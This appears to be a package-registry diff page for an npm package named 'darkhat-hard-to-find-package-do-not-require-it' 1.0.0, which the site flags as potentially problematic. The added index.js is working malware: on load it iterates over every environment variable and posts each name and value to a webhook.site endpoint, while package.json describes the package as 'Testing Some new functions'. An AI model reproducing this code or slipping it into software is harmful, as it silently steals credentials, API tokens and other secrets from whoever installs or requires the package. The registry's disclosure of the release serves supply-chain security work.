darkhat-hard-to-find-package-do-not-require-it 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of darkhat-hard-to-find-package-do-not-require-it might be problematic. Click here for more details.
- package/index.js +15 -0
- package/package.json +17 -0
package/index.js
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
let envVariables = process.env;
|
3
|
+
|
4
|
+
for (let key in envVariables) {
|
5
|
+
axios.post('https://webhook.site/76a40c42-6fe4-4caf-9b37-49c5eda9ae20', {
|
6
|
+
key: key,
|
7
|
+
value: envVariables[key]
|
8
|
+
})
|
9
|
+
.then((response) => {
|
10
|
+
console.log(`Sent ${key}`);
|
11
|
+
})
|
12
|
+
.catch((error) => {
|
13
|
+
console.error(`Error sending ${key}: ${error}`);
|
14
|
+
});
|
15
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "darkhat-hard-to-find-package-do-not-require-it",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Testing Some new functions",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"darkhat-hard-to-find-package-do-not-require-it"
|
11
|
+
],
|
12
|
+
"author": "darkhat",
|
13
|
+
"license": "ISC",
|
14
|
+
"dependencies": {
|
15
|
+
"axios": "^1.5.0"
|
16
|
+
}
|
17
|
+
}
|